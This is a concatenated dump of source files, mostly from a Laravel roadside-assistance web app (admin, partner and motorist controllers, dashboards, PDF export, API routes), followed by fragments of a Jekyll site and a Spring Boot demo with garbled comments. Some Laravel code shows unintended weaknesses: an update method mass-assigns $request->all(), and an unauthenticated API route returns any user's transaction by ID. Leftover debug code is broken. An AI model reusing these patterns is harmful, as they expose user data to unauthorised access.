$admin->UserTypeID = 1;
$admin->Status = 'Activated';
if($admin->save()){
//user logs insert
DB::table('user_logs')
->insert(['UserID' => '1', 'Type' => "Admin Registration", 'Description' => "Registered an Admin Account Successfully"]);
return view('landingPage');
}
}
}
```
UserType.php
```<?php
namespace REIN;
use Illuminate\Database\Eloquent\Model;
class UserType extends Model
{
//
protected $fillable =[
'UserTypeId','Type'
];
}
```
AdminController.php
```<?php
namespace App\Http\Controllers\Web;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Auth;
use DB;
use Illuminate\Support\Carbon;
class AdminController extends Controller
{
public function __construct()
{
$this->middleware('auth:admin');
}
public function index()
{
//Widgets
$partners = DB::table('users')
->where('UserTypeID', '4')
->count();
$assistants = DB::table('users')
->where('UserTypeID', '2')
->count();
$motorists = DB::table('users')
->where('UserTypeID', '3')
->count();
$totalusers = $partners + $assistants + $motorists;
$cancelled = DB::table('reports')
->where('Status', 'Cancelled')
->count();
$done = DB::table('reports')
->where('Status', 'Done')
->count();
$ongoing = DB::table('reports')
->where('Status', 'Ongoing')
->count();
date_default_timezone_set('Asia/Manila');
$start = Carbon::now();
$end = Carbon::now();
//Pie Chart
$pie = DB::table('reports')
->select(
DB::raw('servicetype as servicetype'),
DB::raw('count(*) as number'))
->groupBy('servicetype')
->get();
$piearray[] = ['ServiceType', 'Total'];
foreach($pie as $key => $value)
{
$piearray[++$key] = [$value->servicetype, $value->number];
}
$bar = DB::table('reports')
->select(
DB::raw('status as status'),
DB::raw('count(*) as number'))
->groupBy('status')
->get();
$bararray[] = ['status', 'Total'];
foreach($bar as $key => $value)
{
$bararray[++$key] = [$value->status, $value->number];
}
//dd($data);
return view('Admin.dashboard',
compact('partners', 'assistants', 'motorists',
'cancelled', 'done', 'ongoing', 'totalusers', 'start', 'end'))
->with('servicetype', json_encode($piearray))
->with('status', json_encode($bararray));
}
public function daterange(Request $request)
{
date_default_timezone_set('Asia/Manila');
$start = Carbon::parse($request->start)->startOfDay();
$end = Carbon::parse($request->end)->endOfDay();
//Widgets
$partners = DB::table('users')
->where('UserTypeID', '4')
->whereBetween('DateCreated', array(new Carbon($start), new Carbon($end)))
->count();
$assistants = DB::table('users')
->where('UserTypeID', '2')
->whereBetween('DateCreated', array(new Carbon($start), new Carbon($end)))
->count();
$motorists = DB::table('users')
->where('UserTypeID', '3')
->whereBetween('DateCreated', array(new Carbon($start), new Carbon($end)))
->count();
$totalusers = $partners + $assistants + $motorists;
$cancelled = DB::table('reports')
->where('Status', 'Cancelled')
->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end)))
->count();
$done = DB::table('reports')
->where('Status', 'Done')
->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end)))
->count();
$ongoing = DB::table('reports')
->where('Status', 'Ongoing')
->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end)))
->count();
//Pie Chart
$pie = DB::table('reports')
->select(
DB::raw('servicetype as servicetype'),
DB::raw('count(*) as number'))
->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end)))
->groupBy('servicetype')
->get();
$piearray[] = ['ServiceType', 'Total'];
foreach($pie as $key => $value)
{
$piearray[++$key] = [$value->servicetype, $value->number];
}
$bar = DB::table('reports')
->select(
DB::raw('status as status'),
DB::raw('count(*) as number'))
->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end)))
->groupBy('status')
->get();
$bararray[] = ['status', 'Total'];
foreach($bar as $key => $value)
{
$bararray[++$key] = [$value->status, $value->number];
}
//dd($data);
return view('Admin.dashboard',
compact('partners', 'assistants', 'motorists',
'cancelled', 'done', 'ongoing', 'totalusers', 'start', 'end'))
->with('servicetype', json_encode($piearray))
->with('status', json_encode($bararray));
}
}
```
MotoristsController.php
```<?php
namespace App\Http\Controllers\Web\Admin;
use App\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
class MotoristsController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function __construct()
{
$this->middleware('auth:admin');
}
public function index()
{
$users = User::where('UserTypeId', '=', 3)->get(); //->where('UserTypeID', '=', 2)
return view ('motorists.index', compact('users'));
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
$user = User::find($id);
$getcar = ['userID' => $id];
$car = DB::table('cars')
->where($getcar)
->get()
->first();
// $getbrand = ['brandID' => $id];
// $brand = DB::table('brand')
// ->where($getbrand)
// ->get()
// ->first();
// $getcartype = ['carTypeID' => $id];
// $cartype = DB::table('types')
// ->where($getcartype)
// ->get()
// ->first();
$getcancelledrequests = ['userID' => $id, 'status' => 'Cancelled'];
$cancellation = DB::table('reports')
->where($getcancelledrequests)
->count();
return view('motorists.show', compact('user', 'car', 'cancellation')); // 'brand', 'cartype',
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
$user = User::find($id);
return view('motorists.edit', compact('user'));
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
User::find($id)->update($request->all());
// $user->update($request->all());
$getadminid = Auth::user();
$getid = $getadminid->id;
DB::table('user_logs')
->insert(['UserID' => $getid, 'Type' => "Suspended", 'TargetUser' => $id, 'Description' => "Suspended Motorist's Account Successfully"]);
return redirect()->route('motorists.index')->with('message','Motorist has been suspended');
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
}
}
```
api.php
```<?php
use Illuminate\Http\Request;
/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group. Enjoy building your API!
|
*/
Route::post('login', 'API\UserController@login');
Route::post('register', 'API\UserController@register');
Route::post('sendhtmlemail','API\MailController@html_email');
Route::post('token','API\UserController@send');
Route::post('notify', 'API\ReportsController@notification');
Route::post('sendforget', 'API\UserController@sendforget');
Route::post('verify', 'API\MailController@verify');
Route::post('Transactions','API\TransactionController@index');
Route::post('Brand','API\ReportsController@car');
Route::post('CarType','API\ReportsController@type');
Route::post('sendhtmlemail1','API\UserController@html_email1');
Route::post('getuni','API\UserController@getuni');
Route::post('CreateReports', 'API\ReportsController@store');
Route::group(['middleware' => 'auth:api'], function () {
//Motorist
Route::group(['middleware' => 'scope:motorist'], function () {
Route::post('UpdateStatus', 'API\ReportsController@updateStatus');
Route::post('CreateFeedback', 'API\FeedbacksController@store');
Route::post('CreateImages', 'ComplaintsController@store');
Route::post('ViewCars', 'API\UserController@ViewCar');
Route::post('CreateLocation','API\LocationController@store');
Route::post('UpdateReport', 'API\ReportsController@update');
Route::post('ViewReport', 'API\ReportsController@viewupdate');
Route::post('CreateCars', 'API\CarsController@store');
Route::post('CreateService','ServicesController@store');
});
// Assistant
Route::group(['middleware' => 'scope:assistant'], function () {
//CREATE
Route::post('ViewDetails', 'API\ReportsController@index');
Route::post('CreatePayments', 'PaymentsController@store');
});
});
```
WebPartnerController.php
```<?php
namespace App\Http\Controllers\Web;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
class WebPartnerController extends Controller
{
public function index() {
//Partner/Guest Home(Index) View
return view('partnerCompany.Home');
}
public function requests() {
//Partner/Guest Logged-in Home(Index) View -- List of Request
return view('partnerCompany.Requests');
}
public function approveRequest() {
//Approval of Request View
return view('partnerCompany.ApproveRequest');
}
public function assignRequest() {
//Assignment of Request View
return view('partnerCompany.AssignRequest');
}
public function assistants() {
//List of Assistants View
return view('partnerCompany.Assistants');
}
public function assistantProfile() {
//Profile of Assistant View
return view('partnerCompany.ViewAssistant');
}
public function addAssistant() {
//Add/Register an Assitant View
return view('partnerCompany.AddAssistant');
}
public function updateAssistant () {
//Suspend/Update account of an Assistant View
return view('partnerCompany.UpdateAssistant');
}
public function logs () {
//Suspend/Update account of an Assistant View
return view('partnerCompany.TransactionLogs');
}
public function complaints() {
//List of Complaints View
return view('partnerCompany.Complaints');
}
public function viewComplaint() {
//Complaint View
return view('partnerCompany.ViewComplaint');
}
public function feedback () {
//List of Complaints View
return view('partnerCompany.Feedbacks');
}
public function viewFeedback() {
//Complaint View
return view('partnerCompany.viewFeedback');
}
}
```
PartnerController.php
```<?php
namespace App\Http\Controllers\Web;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\DB;
use App\Reports;
use Auth;
use Illuminate\Support\Carbon;
class PartnerController extends Controller
{
public function __construct()
{
$this->middleware('auth:partner');
}
public function index()
{
//Widgets
$getpartner = Auth::user();
$partner = $getpartner->id;
$getassistant = ['PartnerCompany' => $partner, 'UserTypeID' => '2'];
$assistant = DB::table('users')
->where($getassistant)
->count();
$getavailable = ['AssignStatus' => 'Available', 'Status' => 'Activated', 'PartnerCompany' => $partner, 'UserTypeID' => '2'];
$availableassistant = DB::table('users')
->where($getavailable)
->count();
$getnotavailable = ['AssignStatus' => 'Not Available', 'Status' => 'Activated', 'PartnerCompany' => $partner, 'UserTypeID' => '2'];
$notavailableassistant = DB::table('users')
->where($getnotavailable)
->count();
$getsales = ['partner' => $partner, 'status' => 'Done'];
$totalsales = DB::table('reports')
->where($getsales)
->sum('totalservice');
$getservices = ['partner' => $partner, 'status' => 'Done'];
$totalservice = DB::table('reports')
->where($getservices)
->count();
$getongoing = ['partner' => $partner, 'status' => 'Ongoing'];
$totalongoing = DB::table('reports')
->where($getongoing)
->count();
date_default_timezone_set('Asia/Manila');
$start = Carbon::now();
$end = Carbon::now();
//Pie Chart
$pie = DB::table('reports')
->select(
DB::raw('servicetype as servicetype'),
DB::raw('count(*) as number'))
->where('partner', $getpartner->id)
->groupBy('servicetype')
->get();
$piearray[] = ['ServiceType', 'Total'];
foreach($pie as $key => $value)
{
$piearray[++$key] = [$value->servicetype, $value->number];
}
$bar = DB::table('reports')
->select(
DB::raw('status as status'),
DB::raw('count(*) as number'))
->where('partner', $getpartner->id)
->groupBy('status')
->get();
$bararray[] = ['status', 'Total'];
foreach($bar as $key => $value)
{
$bararray[++$key] = [$value->status, $value->number];
}
//dd($data);
return view('Partner.home',
compact('assistant', 'availableassistant', 'notavailableassistant',
'totalsales', 'totalservice', 'totalongoing', 'start', 'end')) //, 'start', 'end'
->with('servicetype', json_encode($piearray))
->with('status', json_encode($bararray));
}
public function daterange(Request $request)
{
date_default_timezone_set('Asia/Manila');
$start = Carbon::parse($request->start)->startOfDay();
$end = Carbon::parse($request->end)->endOfDay();
//Widgets
$getpartner = Auth::user();
$partner = $getpartner->id;
$getassistant = ['PartnerCompany' => $partner, 'UserTypeID' => '2'];
$assistant = DB::table('users')
->where($getassistant)
->whereBetween('DateCreated', array(new Carbon($start), new Carbon($end)))
->count();
$getavailable = ['AssignStatus' => 'Available', 'Status' => 'Activated', 'PartnerCompany' => $partner, 'UserTypeID' => '2'];
$availableassistant = DB::table('users')
->where($getavailable)
->whereBetween('DateCreated', array(new Carbon($start), new Carbon($end)))
->count();
$getnotavailable = ['AssignStatus' => 'Not Available', 'Status' => 'Activated', 'PartnerCompany' => $partner, 'UserTypeID' => '2'];
$notavailableassistant = DB::table('users')
->where($getnotavailable)
->whereBetween('DateCreated', array(new Carbon($start), new Carbon($end)))
->count();
$getsales = ['partner' => $partner, 'status' => 'Done'];
$totalsales = DB::table('reports')
->where($getsales)
->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end)))
->sum('totalservice');
$getservices = ['partner' => $partner, 'status' => 'Done'];
$totalservice = DB::table('reports')
->where($getservices)
->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end)))
->count();
$getongoing = ['partner' => $partner, 'status' => 'Ongoing'];
$totalongoing = DB::table('reports')
->where($getongoing)
->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end)))
->count();
$pie = DB::table('reports')
->select(
DB::raw('servicetype as servicetype'),
DB::raw('count(*) as number'))
->where('partner', $getpartner->id)
->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end)))
->groupBy('servicetype')
->get();
$piearray[] = ['ServiceType', 'Total'];
foreach($pie as $key => $value)
{
$piearray[++$key] = [$value->servicetype, $value->number];
}
$bar = DB::table('reports')
->select(
DB::raw('status as status'),
DB::raw('count(*) as total'))
->where('partner', $getpartner->id)
->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end)))
->groupBy('status')
->get();
$bararray[] = ['status', 'Total'];
foreach($bar as $key => $value)
{
$bararray[++$key] = [$value->status, $value->total];
}
return view('Partner.home',
compact('assistant', 'availableassistant', 'notavailableassistant',
'totalsales', 'totalservice', 'totalongoing', 'start', 'end'))
->with('servicetype', json_encode($piearray))
->with('status', json_encode($bararray));
}
public function yay1()
{
dd($this->yay());
return view("MAMA MO");
}
public function yay($id){
$optionBuilder = new OptionsBuilder();
$optionBuilder->setTimeToLive(60*20);
$notificationBuilder = new PayloadNotificationBuilder('my title');
$notificationBuilder->setBody('Hello world')
->setSound('default');
$dataBuilder = new PayloadDataBuilder();
$dataBuilder->addData(['a_data' => 'my_data']);
$option = $optionBuilder->build();
$notification = $notificationBuilder->build();
$data = $dataBuilder->build();
$id = user::find($id)->first();
// dd($id);
$token = $id->token;
$downstreamResponse = FCM::sendTo($token, $option, $notification, $data);
$downstreamResponse->numberSuccess();
$downstreamResponse->numberFailure();
$downstreamResponse->numberModification();
//return Array - you must remove all this tokens in your database
$downstreamResponse->tokensToDelete();
//return Array (key : oldToken, value : new token - you must change the token in your database )
$downstreamResponse->tokensToModify();
//return Array - you should try to resend the message to the tokens in the array
$downstreamResponse->tokensToRetry();
// return Array (key:token, value:errror) - in production you should remove from your databas
}
}```
TransactionLogsController.php
```<?php
namespace App\Http\Controllers\Web\Admin;
use App\Reports;
use App\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
use PDF;
use Illuminate\Support\Carbon;
class TransactionLogsController extends Controller
{
public function __construct()
{
$this->middleware('auth:admin');
}
public function index()
{
$reports = Reports::with('user')
->get();
// dd($reports);
return view ('Admin.TransactionLogs', compact('reports'));
}
function showTransaction($ID) {
$reports = Reports::find($ID);
$getpartner = ['id' => $reports->partner];
$partner = User::where($getpartner)
->get()
->first();
$getmotorist = ['id' => $reports->userID];
$motorist = User::where($getmotorist)
->get()
->first();
$getassistant = ['id' => $reports->assistant];
$assistant = User::where($getassistant)
->get()
->first();
$getcar = ['ID' => $reports->CarID];
$car = DB::table ('cars')
->where($getcar)
->get()
->first();
$cartype = DB::table('types')
->where('id', '=', $car->carTypeID )
->get()
->first();
$carbrand = DB::table('brand')
->where('id' , '=', $car->brandID)
->get()
->first();
$getpayment = ['ReportID' => $ID];
$payment = DB::table ('payments')
->where($getpayment)
->get()
->first();
return view('Admin.ShowTransaction', compact('reports', 'partner', 'motorist', 'assistant', 'car', 'cartype', 'carbrand', 'payment'));
}
function singleTransactionPDF($ID){
$getadminid = Auth::user();
$getid = $getadminid->id;
$report = Reports::find($ID);
$partner = ['id' => $report->partner ];
$getpartnerdetails = User::where($partner)
->get()
->first();
$motorist = ['id' => $report->userID];
$getmotoristdetails = User::where($motorist)
->get()
->first();
$assistant = ['id' => $report->assistant];
$getassistantdetails = User::where($assistant)
->get()
->first();
$getcar = ['ID' => $report->CarID];
$getcardetails = DB::table ('cars')
->where($getcar)
->get()
->first();
$cartype = DB::table('types')
->where('id', '=', $getcardetails->carTypeID )
->get()
->first();
$carbrand = DB::table('brand')
->where('id' , '=', $getcardetails->brandID)
->get()
->first();
$getpayment = ['ReportID' => $ID];
$getpaymentdetails = DB::table ('payments')
->where($getpayment)
->get()
->first();
//dd($getpaymentdetails);
$pdf = PDF::loadView('Admin.SingleTransactionPDF',
compact('report', 'getpartnerdetails',
'getmotoristdetails', 'getassistantdetails',
'getcardetails','cartype', 'carbrand', 'getpaymentdetails'));
DB::table('user_logs')
->insert(['UserID' => $getid,
'Type' => "Download Transaction",
'ReportsID' => $ID,
'Description' => "Downloaded Transaction Log Successfully"]);
return $pdf->download('SingleTransactionLog.pdf');
}
public function fullTransactionPDF(Request $request)
{
date_default_timezone_set('Asia/Manila');
$start = Carbon::parse($request->start)->startOfDay();
$end = Carbon::parse($request->end)->endOfDay();
date_default_timezone_set('Asia/Manila');
$start = Carbon::parse($request->start)->startOfDay();
$end = Carbon::parse($request->end)->endOfDay();
$reports = Reports::with('user')
->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end)))
->get();
$reportcount = Reports::with('user')
->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end)))
->count();
$total = Reports::with('user')
->whereBetween('DateSubmitted', array(new Carbon($start), new Carbon($end)))
->sum('totalservice');
if ($reportcount == 0){
return redirect()->action('Web\Admin\TransactionLogsController@index');
} else {
$pdf = PDF::loadView('Admin.FullTransactionPDF',
compact('reports', 'start', 'end', 'total'));
}
return $pdf->download('FullTransactionPDF.pdf');
}
}
```
AssistantsController.php
```<?php
namespace App\Http\Controllers\Web\PartnerCompany;
use App\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Carbon;
class AssistantsController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
protected $table="datatables_data";
public function __construct()
{
$this->middleware('auth:partner');
}
public function index()
{
$getpartner = Auth::user();
$partner = $getpartner->id;
$getuser = ['UserTypeID' => '2', 'PartnerCompany' => $partner];
$users = User::where($getuser)->get();
return view ('assistants.index', compact('users'));
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
return view('assistants.create');
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
$this->validate($request, [
'FirstName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/' ,
'LastName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/' ,
'MobileNo' => 'required|max:11|regex:/^[0-9]*$/',
'BirthDay' => 'required|before:'. Carbon::now()->subYears(25),
'Address' => 'required|regex:/^[a-zA-Z-. 0-9]*$/',
'City' => 'required|max:100|regex:/^[a-zA-Z-. ]*$/',
'ZipCode' => 'required|max:4|regex:/^[0-9]*$/',
'Email' => 'required|max:250|unique:users|email',
'password' => 'required|min:6|max:250|regex:/^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#\$%\^&\*])(?=.{6,})/',
'CPassword' => 'same:password|required',
'g-recaptcha-response' => 'required|captcha',
],
[
'FirstName.required' => 'Please input your Firstname.' ,
'FirstName.max' => 'Your firstname input exceeds the maximum length.' ,
'FirstName.regex' => 'Your firstname input is invalid.' ,
'LastName.required' => 'Please input your Lastname.' ,
'LastName.max' => 'Your lastname input exceeds the maximum length.' ,
'LastName.regex' => 'Your lastname input is invalid.' ,
'MobileNo.required' => 'Please input your mobile number.',
'MobileNo.max' => 'Please input a valid mobile number.',
'MobileNo.regex' => 'Please input a valid mobile number.',
'BirthDay.required' => 'Please input your birthdate',
'BirthDay.before' => 'You should be atleast 25 years old',
'Address.required' => 'Please input your address.',
'Address.regex' => 'You address input is invalid.',
'City.required' => 'Please input your city.',
'City.max' => 'Your city input exceeds the maximum length.',
'City.regex' => 'Please input a valid city',
'ZipCode.required' => 'Please input your zip code',
'ZipCode.max' => 'Your zip code input exceeds the maximum length.',
'ZipCode.regex' => 'Your zip code input is invalid.',
'Email.required' => 'Please input your email address',
'Email.max' => 'Your email address input exceeds the maximum length.',
'Email.unique' => 'This email is already taken',
'Email.regex' => 'Your email address input is invalid.',
'Email' => 'Your email input is invalid.',
'password.required' => 'Please input a password.',
'password.min' => 'Your password input is too short.',
'password.max' => 'Your password input exceeds the maximum length.',
'password.regex' => 'Your password input must contain at least one uppercase, lowercase, numerical, and special character.',
'CPassword.same' => 'Your password input should match.',
'CPassword.required' => 'Your password input a password.',
]);
$getpartner = Auth::user();
$partner = $getpartner->id;
$input = $request->all();
$assistant = new User($input);
$assistant->password = bcrypt($input['password']);
$assistant->UserTypeID = 2;
$assistant->Status = 'Activated'; //Verify email first before login
$assistant->PartnerCompany = $partner;
$assistant->AssignStatus = 'Available';
if($assistant->save()){
$getpartnerid = Auth::user();
$getid = $getpartnerid->id;
DB::table('user_logs')
->insert(['UserID' => $getid, 'Type' => "Assistant Registration", 'Description' => "Registered Assistant's Account Successfully"]);
return redirect()->route('assistants.index')->with('message','assistant has been added successfully');
}
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
$user = User::find($id);
return view('assistants.show', compact('user'));
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
$user = User::find($id);
return view('assistants.edit', compact('user'));
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
$this->validate($request, [
'MobileNo' => 'required|max:11|regex:/^[0-9]*$/',
'Address' => 'required|regex:/^[a-zA-Z-. 0-9]*$/',
'City' => 'required|max:100|regex:/^[a-zA-Z-. ]*$/',
'ZipCode' => 'required|max:4|regex:/^[0-9]*$/',
'Email' => 'required|max:250|email',
'g-recaptcha-response' => 'required|captcha',
],
[
'MobileNo.required' => 'Please input your mobile number.',
'MobileNo.max' => 'Please input a valid mobile number.',
'MobileNo.regex' => 'Please input a valid mobile number.',
'Address.required' => 'Please input your address.',
'Address.regex' => 'You address input is invalid.',
'City.required' => 'Please input your city.',
'City.max' => 'Your city input exceeds the maximum length.',
'City.regex' => 'Please input a valid city',
'ZipCode.required' => 'Please input your zip code',
'ZipCode.max' => 'Your zip code input exceeds the maximum length.',
'ZipCode.regex' => 'Your zip code input is invalid.',
'Email.required' => 'Please input your email address',
'Email.max' => 'Your email address input exceeds the maximum length.',
'Email.regex' => 'Your email address input is invalid.',
'Email' => 'Your email input is invalid.',
]);
$assistants = User::find($id);
$assistants->MobileNo = $request->input('MobileNo');
$assistants->Address = $request->input('Address');
$assistants->City= $request->input('City');
$assistants->ZipCode = $request->input('ZipCode');
$assistants->Email = $request->input('Email');
$assistants->Status = $request->input('Status');
$assistants->update();
$getpartnerid = Auth::user();
$getid = $getpartnerid->id;
DB::table('user_logs')
->insert(['UserID' => $getid, 'Type' => "Update Assistant", 'Description' => "Updated Assistant's Account Successfully", 'TargetUser' => $id]);
// $user->update($request->all());
return redirect()->route('assistants.index')->with('message','item has been updated successfully');
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
}
}
```
TransactionController.php
```<?php
namespace App\Http\Controllers\API;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use App\Report;
use Validator;
class TransactionController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index(Request $request)
{
//
$report = Report::where("userID", $request->ID)->first();
return response()->json(["servicetype" => $report->servicetype,
"addcharge" => $report->addcharge,
"status" => $report->status,
"totalservice" => $report->totalservice,
"DateSubmitted" => $report->datesubmitted],200);
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
//
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
}
}
```
LogsController.php
```<?php
namespace App\Http\Controllers\Web\PartnerCompany;
use App\Reports;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
use PDF;
class LogsController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function __construct()
{
$this->middleware('auth:partner');
}
public function index()
{
$getpartner = Auth::user();
$partner = $getpartner->id;
$getreports =['partner' => $partner, 'status' => 'Done'];
$reports = Reports::where($getreports)->get();
return view ('Partner.TransactionLogs', compact('reports'));
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
//
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
// public function show($id)
// {
// $reports = Reports::find($id);
// return view('reports.show', compact('reports'));
// }
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
//
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
//
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
}
public function fullTransactionPDF(){
$getpartner = Auth::user();
$partner = $getpartner->id;
$getreports =['partner' => $partner, 'status' => 'Done'];
$reports = Reports::where($getreports)
->get();
$pdf = PDF::loadView('FullTransactionPDF', compact('reports'));
return view ('Partner.FullTransactionPDF');
//return $pdf->download('TransactionLog.pdf'); //Add date sa loob ng pagdownlaod
}
}
```
PartnerRegisterController.php
```<?php
namespace App\Http\Controllers\Web\PartnerCompany;
use App\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
use Hash;
class PartnerRegisterController extends Controller
{
//
public function register(Request $request) {
$validator = Validator::make($request->all(), [
'FirstName' => 'required' ,
'LastName' => 'required' ,
'Email' => 'required',
'password' => 'required|min:6',
'CPassword' => 'same:password',
'remember_token',
// 'Status',
// 'DateCreated'
]);
// if ($validator->fails()) {
// return response()->to(['error'=>$validator->errors()], 401);
// }
$input = $request->all();
$partner = new User($input);
$partner->password = Hash::make($input['password']);
$partner->UserTypeID = 4;
$partner->Status = 'Activated';
if($partner->save()){
return view('Partner.home');
} else {
return "{Error: failed insert}";
}
}
}
```
|
yvrsysadmin/yvrsysadmin.github.io
|
yvrsysadmin/yvrsysadmin.github.io
about.md
```---
layout: page
title: About
permalink: /about/
---
I am a sysadmin from Vancouver who seemingly cannot remember a damn thing unless I write it down somewhere. this website is the result of me realizing this.
```
2020-10-17-test-post.markdown
```---
layout: post
title: "test post"
date: 2020-10-17 12:15:00 -0700
categories: test
---
this is a test post
```
jekyll new PLACEHOLDER-USERNAME.github.io
cd PLACEHOLDER-USERNAME.github.io
git init
bundle init
git remote add origin https://github.io/PLACEHOLDER-USERNAME/PLACEHOLDER-USERNAME.github.io
git add --all
git commit -m "reason for the commit"
git pull
git push -u origin master
bundle exec jekyll serve
```
```
|
yw-github/java-operator
|
yw-github/java-operator
README.md
```# java-operator
```
|
ywf1215/abtesting
|
ywf1215/abtesting
README.md
```There are some R scripts used for AB testing.```
|
ywltxz/springboot
|
ywltxz/springboot
DemoApplication.java
```package com.demohelloworld.demo;
import lombok.Data;
import lombok.extern.slf4j.Slf4j;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@SpringBootApplication
@RestController
@RequestMapping("/demo")
@Slf4j
//@RestControllerๆณจ่งฃ๏ผ็ธๅฝไบ@Controller+@ResponseBodyไธคไธชๆณจ่งฃ็็ปๅ๏ผ่ฟๅjsonๆฐๆฎไธ้่ฆๅจๆนๆณๅ้ขๅ
//@ResponseBodyๆณจ่งฃไบ๏ผไฝไฝฟ็จ@RestController่ฟไธชๆณจ่งฃ๏ผๅฐฑไธ่ฝ่ฟๅjsp,html้กต้ข๏ผ่งๅพ่งฃๆๅจๆ ๆณ่งฃๆjsp,html้กต้ข
public class DemoApplication {
public static void main(String[] args) {
SpringApplication.run(DemoApplication.class, args);
}
@RequestMapping("/hello")
public String sayHello(@RequestParam(required = false,name = "who")String who){
log.info("this is1"+who);
if(who==null || who==""){
log.info("this is2"+who);
who="World";
}
log.info("this is3"+who);
return "Hello,"+who+"!";
}
}
```
ApplicationProperty.java
```package com.demoproperty.demoproperty.property;
import lombok.Data;
//import lombok.Value;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.context.annotation.PropertySource;
import org.springframework.stereotype.Component;
@Data
@Component
public class ApplicationProperty {
@Value("${application.name}")
private String name;
@Value("${application.version}")
private String version;
}
```
DemoPropertyApplication.java
```package com.demoproperty.demoproperty;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class DemoPropertyApplication {
public static void main(String[] args) {
SpringApplication.run(DemoPropertyApplication.class, args);
}
}
```
PropertyController.java
